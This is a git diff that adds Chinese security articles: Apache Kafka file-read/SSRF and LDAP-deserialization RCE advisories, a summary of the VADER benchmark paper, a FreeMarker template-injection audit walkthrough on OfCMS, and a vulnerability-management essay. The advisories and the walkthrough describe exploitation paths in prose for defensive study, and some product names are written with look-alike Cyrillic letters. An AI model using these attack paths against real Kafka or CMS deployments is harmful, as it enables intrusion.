+++ b/doc/2025-06/【漏洞通告】Apache Kafka任意文件读取与SSRF漏洞(CVE-2025-27817).md
@@ -0,0 +1,89 @@
+# 【漏洞通告】Apache Kafka任意文件读取与SSRF漏洞(CVE-2025-27817)
+原创 NS-CERT 绿盟科技CERT 2025-06-10 09:40
+
+**通告编号:NS-2025-0032**
+
+2025-06-10
+
+| TAG: | Apache Kafka、任意文件读取、CVE-2025-27817 |
| 漏洞危害: | 攻击者利用此漏洞,可实现任意文件读取。 |
| 版本: | 1.0
|
+
+**1**
+
+
+**漏洞概述**
+
+
+近日,绿盟科技CERT监测到Apache发布安全公告,修复了Apache Kafka中的任意文件读取与SSRF漏洞(CVE-2025-27817);由于Apache Kafka客户端未对用户输入进行严格验证和限制,未经身份验证的攻击者可通过构造恶意配置读取环境变量或磁盘任意内容,或向非预期位置发送请求,提升REST API的文件系统/环境/URL访问权限。目前已有细节披露,请相关用户尽快采取措施进行防护。
+
+Kafka是由Apache软件基金会开发的一个开源分布式事件流处理平台,由Scala和Java编写。该项目的目标是为处理实时数据提供一个统一、高吞吐、低延迟的平台。
+
+
+参考链接:
+
+https://www.mail-archive.com/announce@apache.org/msg10119.html
+
+
+**SEE MORE →******
+
+**2****影响范围**
+
+**受影响版本**
+
+- 3.1.0 <= Apache Kafka <= 3.9.0
+
+
+
+
+**不受影响版本**
+
+- Apache Kafka >= 3.9.1
+
+
+
+
+**3****漏洞防护**
+
+**3.1 官方****升级**
+
+目前官方已发布新版本修复此漏洞,建议受影响的用户及时升级防护,下载链接:
+
+https://github.com/apache/kafka/tags
+
+
+**3.2 临时防护错误**
+
+1、相关用户可使用安全防护设备对包含敏感文件路径的/connectors请求进行拦截;
+
+2、在不影响业务的情况下,可对Kafka Connect实例进行访问限制。
+
+
+**END**
+
+
+
+
+
+
+
+**声明**
+
+本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。
+
+绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。
+
+
+
+
+**绿盟科技CERT**
+
+∣
+微信公众号
+
+
+
+
+
+长按识别二维码,关注网络安全威胁信息
+
+
+
diff --git a/doc/2025-06/【漏洞预警】Apache Kafka Connect任意文件读取漏洞风险通告.md b/doc/2025-06/【漏洞预警】Apache Kafka Connect任意文件读取漏洞风险通告.md
new file mode 100644
index 00000000..fcee8eaa
--- /dev/null
+++ b/doc/2025-06/【漏洞预警】Apache Kafka Connect任意文件读取漏洞风险通告.md
@@ -0,0 +1,31 @@
+# 【漏洞预警】Apache Kafka Connect任意文件读取漏洞风险通告
+原创 masterC 企业安全实践 2025-06-10 07:13
+
+## 一、漏洞描述
+
+Kafka是由Apache软件基金会开发的一个开源流处理平台,由Scala和Java编写。Apache Kafka Connect是Apache Kafka生态系统中的一个组件,它提供了一种可靠且可扩展的方式来连接Kafka与其他系统。
+
+近日,互联网上披露了关于Apache Kafka中存在一个任意文件读取漏洞。在受影响版本中,攻击者可利用该漏洞读取服务器上的敏感文件(如配置文件、环境变量等),或者发起SSRF攻击,访问内部网络或其他受限资源,从而获取敏感信息或进一步扩大攻击范围。另外,若Apache Druid使用了受影响的Kafka版本,也受该漏洞影响。该漏洞对应的CVE编号为CVE-2025-27817,该漏洞影响较高,请受影响的用户做好安全加固措施。
+## 二、漏洞等级
+
+高
+## 三、影响范围
+
+3.1.0 <= Apache Kafka <= 3.9.0
+## 四、安全版本
+
+Apache Kafka >= 3.9.1
+## 五、修复建议
+
+目前官方已修复该漏洞,建议受影响用户尽快前往官网升级至安全版本。
+## 六、缓解方案
+
+对于使用受影响版本的用户,建议通过系统属性-Dorg.apache.kafka.disallowed.login.modules禁用LdapLoginModule,JndiLoginModule 和其他危险的登录模块。
+## 七、参考链接
+
+https://github.com/apache/kafka/tags
+
+https://seclists.org/oss-sec/2025/q2/235
+
+https://lists.apache.org/thread/6cm2d0q5126lp7w591wt19211s5xxcsm
+
diff --git a/doc/2025-06/【论文速读】 VADER:漏洞评估、检测、解释和修复的人工评估基准.md b/doc/2025-06/【论文速读】 VADER:漏洞评估、检测、解释和修复的人工评估基准.md
new file mode 100644
index 00000000..8a4dbbed
--- /dev/null
+++ b/doc/2025-06/【论文速读】 VADER:漏洞评估、检测、解释和修复的人工评估基准.md
@@ -0,0 +1,113 @@
+# 【论文速读】| VADER:漏洞评估、检测、解释和修复的人工评估基准
+原创 知识分享者 安全极客 2025-06-10 10:08
+
+
+
+**基本信息**
+
+
+原文标题:
+
+VADER:AHuman-EvaluatedBenchmarkforVulnerabilityAssessment,Detection,Explanation,andRemediation
+
+原文作者:
+
+EthanTS.Liu,AustinWang,SpencerMateega,CarlosGeorgescu,DannyTang
+
+作者单位:AfterQuery(研究人员分别来自UCBerkeley、宾夕法尼亚大学等)
+
+关键词:大语言模型、漏洞检测、漏洞修复、VADER基准、安全评估、人工审核、安全补丁、CWE分类
+
+原文链接:https://arxiv.org/abs/2505.19395v1
+
+开源代码:https://github.com/AfterQuery/vader
+
+
+**论文要点**
+
+
+论文简介:本文提出了一个名为VADER的全新基准体系,用于系统评估大语言模型(LLMs)在软件安全领域的表现,尤其聚焦在漏洞评估、检测、解释与修复四个关键环节。该基准共包含174个真实漏洞案例,涵盖15种编程语言,来源于GitHub等开源代码库,并由资深安全专家进行人工标注和复审。论文评测了六个主流LLM模型(如GPT-4.5、Claude3.7、Gemini2.5等)在这一基准下的表现,结果显示当前模型仅能中等程度地完成任务,最优秀模型的平均准确率也仅为54.7%。论文还发现,模型在漏洞修复质量与漏洞分类、测试计划制定之间存在高度相关性(Pearsonr>0.97),这说明模型在理解能力方面仍有较大提升空间。VADER的构建为研究界提供了一个可复现、可解释的标准平台,用于推动更具安全意识的大语言模型研究。
+
+研究目的:
+
+近年来,大语言模型在代码生成和辅助编程中显示出强大能力,被业界广泛应用于代码自动化处理。然而,当前的模型在处理跨语言、多文件、复杂上下文的真实漏洞场景下,依然面临巨大挑战。过去的漏洞检测数据集大多基于合成代码片段或单函数分析,未能涵盖完整的安全生命周期。本文旨在填补这一空白,提出一个具备真实漏洞案例、详细标注信息、人工审核机制与可复现评分系统的VADER基准,系统衡量LLM在完整软件安全处理流程中的表现,包括识别漏洞、解释其成因、提出补丁及测试验证其修复效果。通过这一基准,研究人员能更准确判断现有模型的实际能力与瓶颈所在,推动安全感知型大语言模型的进一步发展。
+
+
+**引言**
+
+
+近年来,大语言模型(LLMs)在自动代码生成和辅助软件开发中取得显著进展,然而其在安全领域的能力仍未充分验证。GitHubCopilot等工具已开始集成AI进行漏洞修复建议,OpenAI等也发布了面向安全分析的集成连接器。然而,漏洞检测与修复不仅需要识别问题代码,更需要准确分类漏洞类型、理解成因、提出合理补丁并构造测试计划以验证修复有效性。现有评估手段大多仅关注漏洞检测准确率,忽视了解释与修复质量的全流程能力评估。此外,绝大多数基准仅覆盖单语言、单文件的合成样本,远离真实生产环境中的复杂性。
+
+本文提出的VADER基准填补了上述空白。其数据来源全部为真实开源项目中的安全漏洞,涵盖Web前端、后端服务、系统编程等多类场景;每个案例均由安全专家编写完整说明、修复方案及验证测试;并通过双层审核机制确保数据质量。论文不仅提出了新颖的评分标准,还首次对主流LLM进行全面评估,发现当前模型在“解释+修复”能力上远未达到实际应用所需水平。此外,研究还指出漏洞分类能力与修复效果之间存在极强正相关性,提示未来模型应加强对漏洞本质的理解。
+
+
+**相关工作**
+
+
+过往数据集如JULIET、DEVIGN、BIG-VUL等虽为漏洞检测提供了基础训练样本,但其大多基于静态、合成示例,缺乏复杂语境与多文件结构。诸如SECURITYEVAL、REPOSVUL等后续工作虽拓展了真实代码范围,但仍以“是否存在漏洞”这一单一目标为主,未涉及解释、补丁生成或验证测试。此外,像CVE-BENCH、NYUCTF等则转向交互式环境评估模型的攻击或修复能力,但也未覆盖“解释为何存在漏洞”等关键安全能力。
+
+相比之下,VADER首次将评估范围扩展至完整安全处理链条,要求模型不仅识别漏洞,还需合理解释成因、撰写补丁、设计测试计划。这一设计显著提升了模型对安全问题的深度理解要求。
+
+
+**基准构建**
+
+
+VADER基准的构建过程极为严谨,模拟真实的安全审查流程,确保数据的准确性和高质量。整个数据集由174个真实软件漏洞案例组成,均从开源项目中精心挑选,涵盖了如Python、JavaScript、Go、C/C++等15种主流编程语言。VADER的数据生成采用“双重人工标注机制”:首先由一名资深安全专家提交漏洞案例,随后由另一名独立审查员进行验证。
+
+
+
+在案例提交阶段,专家需提供一份完整的漏洞报告,包括但不限于:具体的漏洞代码片段、详细的漏洞解释(含根本原因、利用方式与影响)、对应的CWE编号、建议修复补丁(goldenpatch)以及可验证修复有效性的测试计划。每个补丁要求尽可能简洁明了,只改动与漏洞直接相关的代码,避免冗余或破坏原有逻辑。
+
+审查阶段由拥有6年以上经验的安全工程师复核案例质量。他们从漏洞真实性、补丁有效性、解释完整性及测试计划的合理性等多个维度进行严格审核,只有全部符合标准的案例才会被纳入正式基准。
+
+
+
+这种双审流程不仅确保了每个漏洞样本的真实性与高质量,还保证了其在实际安全分析中具有充分的参考价值。此外,VADER还根据漏洞的严重程度进行打分,采用五级标准(非常低至致命),其中高危和致命级别漏洞占比超过60%,极大增强了基准对大语言模型安全处理能力的挑战性。通过该构建流程,VADER成为业界少有的,能系统覆盖“检测、解释、修复、验证”全流程的高可信度安全基准。
+
+
+**研究评估**
+
+
+为全面评估大语言模型在处理真实软件漏洞中的实际能力,VADER设计了一套严谨统一的评估体系。论文选择了当前业界最具代表性的六大主流LLM模型作为评测对象,分别为:OpenAI的o3、GPT-4.1与GPT-4.5,Google的Gemini2.5Pro,Anthropic的Claude3.7Sonnet,以及xAI的Grok3Beta。这些模型覆盖了不同厂商、不同架构与上下文处理能力,具备代表性和广泛性。
+
+
+
+评估采用“一轮提示”(one-shotprompting)策略,每个模型在每个漏洞案例中只收到一次统一格式的输入,包括漏洞相关的代码文件和任务描述,要求其完成漏洞识别、CWE分类、原因解释、补丁编写及测试计划制定五项任务。为了确保测试公平性,所有模型接收到的提示完全一致,且不进行任何模型专属微调。
+
+模型输出由具备丰富经验的安全专家使用结构化评分标准进行双人盲评。评分体系共分三大维度:漏洞修复质量(占总分的50%)、漏洞解释准确性(20%)、以及CWE分类与测试方案(30%)。每个维度根据准确性、完整性、技术合理性进行细分评分,满分为10分。
+
+此外,为避免评分偏差,每个模型的输出结果都由两位评审独立打分,并计算平均得分。值得注意的是,在漏洞修复这一核心环节中,专家更看重的是补丁的简洁性、可编译性、是否真正消除漏洞以及是否引入新风险;而在解释维度中,模型需精准描述漏洞的根本成因、可被攻击的方式及其安全影响。
+
+通过这一严谨的评估流程,VADER不仅能量化对模型“写代码”的能力,还能深入洞察其是否真正理解漏洞原理、是否能提出合理修复方案、是否具备将安全问题“闭环解决”的综合能力。相比传统只考察分类或检测准确率的数据集,VADER评估体系更加全面、真实,能更贴近实际应用中对安全助手的期待。
+
+
+**研究结果**
+
+
+VADER基准的评测结果显示,当前主流大语言模型在真实漏洞处理任务中的整体表现仍属中等水平,远未达到“可生产部署”的理想状态。在全部174个真实漏洞案例中,得分最高的模型是OpenAI的o3,平均得分为5.47分(满分10分),约合54.7%的准确率。紧随其后的是Google的Gemini2.5Pro(53.6%)和OpenAI的GPT-4.5(49.2%),而Anthropic的Claude3.7、GPT-4.1以及xAI的Grok3Beta则处于中等偏下水平,最低者Grok仅为44%左右。
+
+
+
+研究还揭示了一个关键趋势:模型在漏洞修复、解释、分类与测试等各项能力之间存在显著相关性。其中,漏洞修复质量与CWE分类及测试计划能力之间的皮尔逊相关系数高达0.97以上。这表明,模型若能准确识别漏洞类型与影响,通常也能更好地完成修复任务。
+
+整体而言,VADER测试强调了模型“理解-解释-修复-验证”全链条能力,而目前的模型在处理复杂、跨文件、真实漏洞时,仍面临严峻挑战,亟待突破。
+
+
+**论文结论**
+
+
+本文提出的VADER基准为衡量大语言模型在漏洞评估、检测、解释和修复四大能力上的表现提供了统一标准。通过人工标注、全流程设计与开放工具链,该基准不仅真实、可复现,还具高度挑战性。测试结果显示,目前主流模型在该任务上均仅达中等水准,仍无法满足生产级别应用的安全要求。未来工作可在模型理解力、跨文件推理能力与测试生成方面进一步优化,以提升其在真实漏洞修复中的实用性。VADER的开放发布也为学术与工业界提供了一个长期演进的评测平台,推动“安全感知型AI”走向落地。
+
+[](https://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247495405&idx=1&sn=67249648d5c312b5c178b23b077d28f3&scene=21#wechat_redirect)
+
+
+
+
+[](http://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247493750&idx=1&sn=27bd578179e5abbdc8907b669519bb8f&chksm=c2b95d82f5ced4945cf8844013563398cb3a885ea96a2ee2b60bfcc26d77ebffe78a35285646&scene=21#wechat_redirect)
+
+[](http://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247493759&idx=1&sn=0aed37ae210bde25a6b16a745301b71d&chksm=c2b95d8bf5ced49d12eb8cc6192c4e091bf11b6ffe99d4025467ea98b9d04cad89ba0ea91710&scene=21#wechat_redirect)
+
+[](http://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247493770&idx=1&sn=2c6d24403cda8f0ef45cadb10e1bfebd&chksm=c2b95d7ef5ced4686e39951e21153c81f0a1e57cabf0937e0d996e6621385745d3ee30d98c11&scene=21#wechat_redirect)
+
+
+
diff --git a/doc/2025-06/【高危漏洞预警】Apache Kafka Client 任意文件读取与SSRF漏洞CVE-2025-27817.md b/doc/2025-06/【高危漏洞预警】Apache Kafka Client 任意文件读取与SSRF漏洞CVE-2025-27817.md
new file mode 100644
index 00000000..9dd8e20a
--- /dev/null
+++ b/doc/2025-06/【高危漏洞预警】Apache Kafka Client 任意文件读取与SSRF漏洞CVE-2025-27817.md
@@ -0,0 +1,38 @@
+# 【高危漏洞预警】Apache Kafka Client 任意文件读取与SSRF漏洞CVE-2025-27817
+cexlife 飓风网络安全 2025-06-10 07:52
+
+
+
+漏洞描述:
+
+该漏洞产生的原因是Aрасhе Kаfkа客户端在处理SASL/OAUTHBEARER连接配置时,允许通过配置项ѕаѕl.оаuthbеаrеr.tоkеn.еndроint.url和 ѕаѕl.оаuthbеаrеr.јԝkѕ.еndроint.url指定外部URL或本地文件路径,造成任意文件读取与SSRF漏洞,受影响版本为3.1.0至3.9.0,由于未对这些配置项进行严格限制,攻击者可以利用该漏洞读取服务器上的任意文件内容,并将其返回到错误日志中,或者向非预期的地址发送请求。
+
+利用场景
+
+Apache Kafka Connect属于底层组件依赖,其前提利用条件需要视具体应用环境。
+
+影响产品:
+
+3.1.0<= Apache Kafka <=3.9.0
+
+修复建议:
+
+补丁名称:
+
+Aрасhе Kаfkа客户端任意文件读取和SSRF漏洞的补丁-更新至最新版本4.0.0
+
+文件链接:
+
+https://kafka.apache.org/downloads
+
+建议用户尽快升级到以下或更高的安全版本:
+
+Aрасhе Kаfkа 3.9.1
+
+Aрасhе Kаfkа 4.0.0
+
+参考链接:
+
+https://www.openwall.com/lists/oss-security/2025/06/09/1
+
+
diff --git a/doc/2025-06/【高危漏洞预警】Apache Kafka Client配置造成远程代码执行漏洞CVE-2025-27818.md b/doc/2025-06/【高危漏洞预警】Apache Kafka Client配置造成远程代码执行漏洞CVE-2025-27818.md
new file mode 100644
index 00000000..1c6e808b
--- /dev/null
+++ b/doc/2025-06/【高危漏洞预警】Apache Kafka Client配置造成远程代码执行漏洞CVE-2025-27818.md
@@ -0,0 +1,46 @@
+# 【高危漏洞预警】Apache Kafka Client配置造成远程代码执行漏洞CVE-2025-27818
+cexlife 飓风网络安全 2025-06-10 07:52
+
+
+
+漏洞描述:
+
+该漏洞产生的原因是Aрасhе Kаfkа在处理Kаfkа Cоnnесt的SASL JAAS配置时,允许通过ѕаѕl.јааѕ.соnfiɡ属性配置соm.ѕun.ѕесuritу.аuth.mоdulе.LdарLоɡinMоdulе.受影响版本为2.3.0至3.9.0,攻击者可以通过KаfkаCоnnесt的RESTAPI或其他配置方式,将Kаfkа客户端的ѕаѕl.јааѕ.соnfiɡ属性设置为LdарLоɡinMоdulе,并指向攻击者控制的LDAP服务器,当Kаfkа Cоnnесt服务器连接到该LDAP服务器并反序列化LDAP响应时,攻击者可以利用Jаvа反序列化漏洞链执行任意代码。
+
+攻击场景:
+
+攻击者可以通过Kafka Connect的REST API或其他配置方式,将Kafka客户端的sasl.jaas.config属性设置为LdapLoginModule并指向攻击者控制的LDAP服务器。
+
+影响产品:
+
+2.3.0<=Apache Kafka<=3.9.0
+
+修复建议:
+
+补丁名称:
+
+Aрасhе Kаfkа远程代码执行漏洞的补丁-更新至最新版本4.0.0
+
+文件链接:
+
+https://kafka.apache.org/downloads
+
+建议用户尽快升级到以下或更高的安全版本:
+
+Aрасhе Kаfkа 3.9.1
+
+Aрасhе Kаfkа 4.0.0
+
+下载链接:
+
+https://kafka.apache.org/downloads
+
+缓解措施:
+
+更新系统补丁,限制Kafka Connect的REST API访问权限,强化输入验证和身份验证机制。
+
+参考链接:
+
+https://seclists.org/oss-sec/2025/q2/236
+
+
diff --git a/doc/2025-06/实战讲解 Java代码审计之 FreeMarker模版注入漏洞.md b/doc/2025-06/实战讲解 Java代码审计之 FreeMarker模版注入漏洞.md
new file mode 100644
index 00000000..aaa14508
--- /dev/null
+++ b/doc/2025-06/实战讲解 Java代码审计之 FreeMarker模版注入漏洞.md
@@ -0,0 +1,312 @@
+# 实战讲解 Java代码审计之 FreeMarker模版注入漏洞
+ 闪石星曜CyberSecurity 2025-06-10 08:38
+
+
+
+本篇为代码审计系列SSTI服务器端模板注入漏洞理论篇-FreeMarker第八篇,看完本篇你将掌握关于FreeMarker模版注入漏洞的代码视角原理剖析、基础挖掘漏洞核心能力,看完如有技术错误欢迎评论区指正。
+
+文章引用了FreeMarker官方介绍:http://freemarker.foofun.cn/index.html
+- FreeMarker概念
+
+- FreeMarker引擎
+
+- FreeMarker模版
+
+- 业务视角FreeMarker流程
+
+- 漏洞视角FreeMarker漏洞原理及防范
+
+- OFCMS 实战审计案例
+
+
+
+**FreeMarker模版注入漏洞**
+
+一
+
+FreeMarker
+
+ FreeMarker由引擎+模版构成完整的业务流程,FreeMarker引擎加载Template+Javaobjects,Template模版为HTML模版。如下图所示:
+
+
+
+
+1.1FreeMarker引擎
+
+ FreeMarker 是一款模板引擎:引擎用于加载FreeMarker模版与模版中的数据通过将模板文件与数据模型结合,生成最终的输出HTML内容。
+
+
+1.2FreeMarker模版
+
+ 模板编写为FreeMarker Template Language (FTL)。后端业务代码准备数据在填充在已经固定的HTML模版中,比如数据库查询和业务运算,之后模板显示数据库查询的结果或运算的结果数据。模版中包含如下内容:
+
+文本:文本会照着原样来输出。
+
+插值:这部分的输出会被计算的值来替换。插值由${and}所分隔的(或者#{and}
+
+FTL标签:FTL标签和HTML标签很相似,但是它们却是给FreeMarker的指示, 而且不会打印在输出内容中。
+
+注释:注释和HTML的注释也很相似,但它们是由<#--和-->来分隔的。注释会被FreeMarker直接忽略, 更不会在输出内容中显示。
+
+
+
+二
+
+业务视角FreeMarker场景与流程
+
+FreeMarker使用场景如下
+- Web 开发
+:与 Spring MVC、Struts 等框架集成,生成动态 HTML 页面
+
+- 电子邮件模板
+:生成动态邮件内容
+
+- 配置文件生成
+:根据环境或需求生成配置文件
+
+- 代码生成工具
+:在开发工具中生成代码文件
+
+
+
+
+2.1FreeMarker使用流程
+
+- 引入FreeMarker模版
+
+
+
+
+
+- 引入FreeMarker配置
+:在SpringBoot中配置FreeMarkersrc/main/resources/application.properties
+
+
+
+
+
+- 引入FreeMarker配置
+:如为Spring MVC使用中applicationContext.xml编写即可
+
+
+
+
+
+- 引入FreeMarker配置
+:如为其他Web框架初始化模版配置,创建Configuration实例进行配置
+
+
+
+
+
+- FreeMarker模版文件
+:编写模版.ftl文件:(不一定非得是.ftl也可能是.html)
+
+
+
+
+
+编写业务层代码:
+- 创建数据模型
+:可以使用 java.lang 和 java.util 包中的类,还有用户自定义的Java Bean来构建数据对象
+
+- 获取模版:
+freemarker.template.Template实例。典型的做法是从 Configuration 实例中获取一个Template 实例
+
+- 合并模版和数据模型
+:数据模型+模板=输出
+
+
+
+
+
+
+三
+
+ 漏洞视角Freemarker模版原理及防范
+
+3.1漏洞原理
+
+ Freemarker模版注入漏洞属于SSTI类漏洞,对于模板注入漏洞成因是在模板引擎渲染模板
+
+文件时,由于模板文件中存在内建危险函数且可执行,模版引擎进行解析后造成的攻击
+
+
+
+3.2漏洞触发场景
+
+ 触发Freemarker的漏洞的场景大致为:
+- 文件上传
+:用户的使用上传包含危险内建函数的FreeMarker模版,并且可访问渲染后的文件
+
+- 文件编辑
+:用户可以修改为包含内建函数的模版文件,访问该模版后造成的攻击
+
+
+
+
+
+3.3漏洞触发条件
+
+3.3.1上传or修改.ftl模版文件
+
+ 添加模版、更新模版内容等功能可进行修改,其中FreeMarker已经内置的方法StringTemplateLoader下的putTemplate()方法
+
+
+
+ 以下图片来源为FreeMarker官方文档(http://freemarker.foofun.cn/ref_builtins_expert.html#ref_builtin_new)
+
+api函数
+
+
+
+new 函数可以创建一个继承自 freemarker.template.TemplateModel 类的变量
+
+
+
+freemarker.template.utility包中存在三个符合条件的类,分别为Execute类、ObjectConstructor类、JythonRuntime类最终实现了TemplateModel类。
+
+
+
+
+
+
+
+3.3.2Freemarker模版漏洞定位关键词
+
+freemarker、<#assign>、<#include>、<#if>、<#list>、<#macro>
+
+四
+
+OfCms实战审计案例
+
+此篇OfCms为分析FreeMarker漏洞进行白盒与黑盒结合方式审计,通常模版文件上传、编辑等功能可能会存在模版注入漏洞。部署后从系统功能视角到源代码定位及抓包调试进行讲解。
+
+抓包使用内建函数测试即
+
+白盒审计流程
+:
+- 项目组件分析
+:Pom.xml引入模版引擎依赖
+
+- 框架分析
+:Spring、Spring Boot、其他框架渲染模版引擎配置对应关键词定位
+
+- 渲染模版
+:定位渲染文件是否可控
+
+- Poc测试
+:抓包使用内建函数测试即可
+
+黑盒审计流程
+:
+- 上传/编辑功能
+:是否可编辑前端模版文件
+
+- 接口定位源代码
+:查看模版文件是否存在过滤或转义等处理
+
+- Poc测试
+:定位渲染文件是否可控
+
+
+
+4.1OfCms漏洞项目部署
+
+Gitee:https://gitee.com/oufu/ofcms/repository/archive/V1.1.2.zip
+
+
+
+直接打开Pom.xml引入依赖即可,查看Web框架使用的jfinal而非Spring或SpringBoot
+
+
+
+FreeMarker显示2.3.21版本
+
+
+
+导入数据库文件,并修改数据库账号密码,成功启动项目
+
+
+
+4.2白盒源代码漏洞分析
+
+jfinal白盒定位关键词
+
+
+
+- TempleteUtile.java中用来初始化模版引擎,查看源代码后发现该process方法会进行模版引擎渲染
+
+process(String templatefile, Map, ?> param) 方法使用模板文件名和参数 map 生成字符串输出。处理模板后,去除 HTML/XML 中标签之间的空白字符。
+
+process(String templatefile, Map param, File file) 方法
+
+将模板处理结果写入指定的文件中,使用 UTF-8 编码保存
+
+
+
+templatefile注释来看为传入的模版文件并直接渲染,查看是否模版文件可控
+
+
+
+向上查找参数均发现不可控,转换思路进行黑盒挖掘尝试
+
+
+
+4.3黑盒项目功能触发漏洞分析
+
+往往很多漏洞黑盒要比白盒方便很多,因为功能非常明显找到模版文件保存功能
+
+
+
+ 抓包定位接口
+
+
+
+ 功能定位分析:发现只有一个特殊符号转义但对保存为恶意模版文件并没起到作用
+
+
+
+确定模版文件参数:file_content_
+
+
+
+Payload插入,修改为恶意模版文件
+
+
+
+保存模版文件中,毫无过滤
+
+
+
+访问404页面,执行成功
+
+
+
+分析如何404模版文件解析流程
+
+
+
+向上追踪定位到FreeMarkerRender类:
+
+`FreeMarkerRender是一个基于 JFinal 框架的 FreeMarker 模板渲染器,主要功能如下:
+
+封装 FreeMarker 配置:通过静态变量 config初始化 FreeMarker 的配置;
+
+提供配置方法:setProperty()、setSharedVariable()、setProperties()用于设置模板参数和共享变量;
+
+模板路径设置:setTemplateLoadingPath()` 设置模板加载路径;
+
+初始化配置:init()方法完成模板引擎的各项基础设置(编码、异常处理、日期格式等);
+
+渲染视图:render() 方法将数据模型与模板合并输出 HTML 到响应;
+
+内容类型控制:getContentType()返回默认文本类型为 HTML + 编码。
+
+
+
+
+END
+
+
+
diff --git a/doc/2025-06/漏洞挖掘实战之弯道超车.md b/doc/2025-06/漏洞挖掘实战之弯道超车.md
new file mode 100644
index 00000000..23987a3e
--- /dev/null
+++ b/doc/2025-06/漏洞挖掘实战之弯道超车.md
@@ -0,0 +1,5 @@
+# 漏洞挖掘实战之弯道超车
+ 蚁景网安 2025-06-10 08:30
+
+
+
diff --git a/doc/2025-06/漏洞管理玩法已变,四大常见错误亟待摒弃.md b/doc/2025-06/漏洞管理玩法已变,四大常见错误亟待摒弃.md
new file mode 100644
index 00000000..883f7935
--- /dev/null
+++ b/doc/2025-06/漏洞管理玩法已变,四大常见错误亟待摒弃.md
@@ -0,0 +1,184 @@
+# 漏洞管理玩法已变,四大常见错误亟待摒弃
+ 安全牛 2025-06-10 10:04
+
+N
+
+
+
+
+
+漏洞管理已经彻底转型,它不再是简单地完成清单上的任务,而是构建一个融合实时可见性、智能风险排序和前瞻性自动化的完整防御体系。
+
+可以说,今天的漏洞管理与五年前相比已经发生了质的变化。如果你仍然固守于定期扫描模式,仅仅"建议"而非强制实施更新,或过度依赖CVSS分数作为唯一决策依据,那么,你实际上是在采用过时的战术应对现代的威胁。
+
+在当今高度动态、去中心化且不断变化的IT环境中,攻击者正以与防御同步的速度进化。作为系统管理员或安全专家,继续依赖传统方法不仅意味着技术落后,更是在无意中为潜在入侵者敞开了大门。
+
+本文整理了管理员在漏洞管理方面仍在犯的四个常见错误,以及相应的应对措施:
+
+
+**按计划运行扫描**
+
+
+
+**为什么?**
+
+
+
+
+
+每月、每周甚至每日的漏洞扫描曾被视为充分的安全措施。而在当今的动态环境中?这种方法不可避免地会产生危险的安全盲区。
+
+现代IT生态系统中的云资源、远程工作端点和虚拟机可能在几分钟内就完成从创建、使用到销毁的整个生命周期。这种瞬息万变的资产状态使得传统的计划性扫描模式显得力不从心——它们只能捕捉到固定时间点的安全状态,而错过了两次扫描之间出现并消失的所有潜在威胁。这不仅是效率问题,更是一个根本性的安全缺陷。
+
+**解决办法**
+
+
+
+
+
+**拥抱持续安全监控的新范式**
+
+应立即转向全面的持续扫描策略,彻底革新漏洞管理方法。部署能够与资产管理系统深度集成的先进工具,形成真正的实时监控能力,确保安全覆盖无死角。
+
+这种现代化方案不仅限于传统数据中心服务器,而是扩展到整个技术生态系统——从云端虚拟机、员工笔记本电脑到分散的本地设备和远程工作终端。通过建立永不间断的安全可见性机制,实时掌握环境中的每一处变化,而不是仅依赖于静态的时间点快照。
+
+这种转变不仅是技术升级,更是安全思维的根本转变——从被动响应到主动防御,从周期性检查到持续保护,为组织构建真正弹性的安全防线。
+
+
+**把每个"严重"CVE都当作紧急事件处理**
+
+
+
+**为什么?**
+
+
+
+
+
+ CVS评分并不是全部。内部开发服务器上的"严重"CVE可能比面向公众的端点上的中等严重性漏洞风险更低。并非每个漏洞都需要立即修补,但有些确实需要,除非有缓解措施或有充分记录/签署的理由不这样做,否则所有漏洞最终都应该被修补。
+
+CVS评分仅是漏洞风险拼图中的一块,而非完整图景。真实的威胁评估需要深入考量具体的部署环境和业务影响。例如,一个标记为"严重"的CVE漏洞若存在于隔离的内部开发服务器上,实际风险可能远低于一个中等严重性但位于面向公众的关键业务端点上的漏洞。
+
+
+**解决办法**
+
+
+
+
+
+**实施基于风险的漏洞管理(RBVM)**
+
+将基于风险的漏洞管理(RBVM)作为安全策略的基石,彻底改变您的防御方法。投资那些能够整合多维风险因素的先进平台:不仅评估漏洞的技术可利用性,还综合考量受影响资产的业务价值、潜在业务中断影响,以及当前活跃的威胁情报数据。
+
+通过这种全面的风险评估框架,精确识别真正需要紧急响应的高风险漏洞,优先分配资源解决这些关键威胁,同时为其余漏洞制定合理的修复时间表。这种分层方法既确保了对最紧迫威胁的快速响应,又避免了资源的过度分散。
+
+建立结构化的决策框架至关重要。它不仅提供清晰的优先级指导,还能确保在处理高优先级问题时不会忽视其他潜在风险。这种系统化方法将使安全团队从被动的"补丁追赶者"转变为战略性风险管理者,为组织提供更加高效且全面的保护。
+
+
+**3. 仍在尚未实施自动化**
+
+
+
+**为什么?**
+
+
+
+
+
+对于任何团队来说,手动处理的数据太多了,尤其是在混合工作环境、BYOD和数十种生成警报的工具的情况下。手动分类工单或追踪补丁周期会很快让你的团队精疲力竭。倦怠和警报疲劳是真实存在的,也是安全实践松懈和员工流失的主要原因。攻击者非常清楚这一点,并利用安全团队压力大可能会犯错的这一点来发起攻击。
+
+**解决办法**
+
+
+
+
+
+战略性实施自动化
+
+要将自动化作为核心战略而非可选工具,系统性地应用于整个安全运营流程——从漏洞扫描、警报分类、风险评估到补丁部署计划。通过精心设计的自动化流程过滤掉背景噪音,使安全专家能够将宝贵的认知资源集中在真正需要人类判断的复杂风险上。
+
+在实施自动化时,务必确保所有系统保持透明度和可审计性。避免不可解释的"黑盒"解决方案,而应选择能够提供清晰决策路径和可验证结果的工具。值得一提的是,自动化的目标是增强人类能力,而非替代人类判断——它应该成为加速安全运营的助力器,而不是引入新风险的潜在来源。
+
+
+**4. 忽视软件供应链**
+
+
+
+**为什么?**
+
+
+
+
+
